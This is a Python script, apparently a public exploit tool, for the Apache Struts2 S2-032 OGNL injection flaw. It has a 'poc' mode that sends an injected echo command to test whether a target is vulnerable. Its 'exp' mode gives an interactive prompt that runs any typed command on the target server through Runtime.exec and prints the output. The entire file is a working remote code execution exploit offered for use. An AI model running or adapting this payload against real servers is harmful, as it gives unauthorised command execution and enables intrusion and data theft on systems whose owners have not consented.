import requests
import argparse
from urllib.parse import quote

def poc(url):
    payload = "?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=echo%20mingy"

    resp = requests.get(url + payload)
    
    if "mingy" in resp.text:
        print(f">>> 存在S2-032漏洞: {url}")
        return True
    return False

def exp(url):
    while True:
        cmd = input("cmd>>> ")
        if cmd == "quit" or cmd == "exit":
            break
        payload = f"?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd={quote(cmd)}"
        
        resp = requests.get(url + payload)
        print(resp.text)

def main():
    p = argparse.ArgumentParser(description='S2-032 EXP/POC -- By MINGY')
    p.add_argument('-u', dest='url', type=str, help="URL to test")
    p.add_argument('-m', dest='model', choices=['poc', 'exp'], type=str, help="model")
    args = p.parse_args()
    
    if not args.url:
        print("please set url, -u url")
        return
    if not args.model:
        print("please set model, -m poc/exp")
        return
        
    if args.model == 'poc':
        poc(args.url)
    elif args.model == 'exp':
        exp(args.url)

if __name__ == '__main__':
    main()    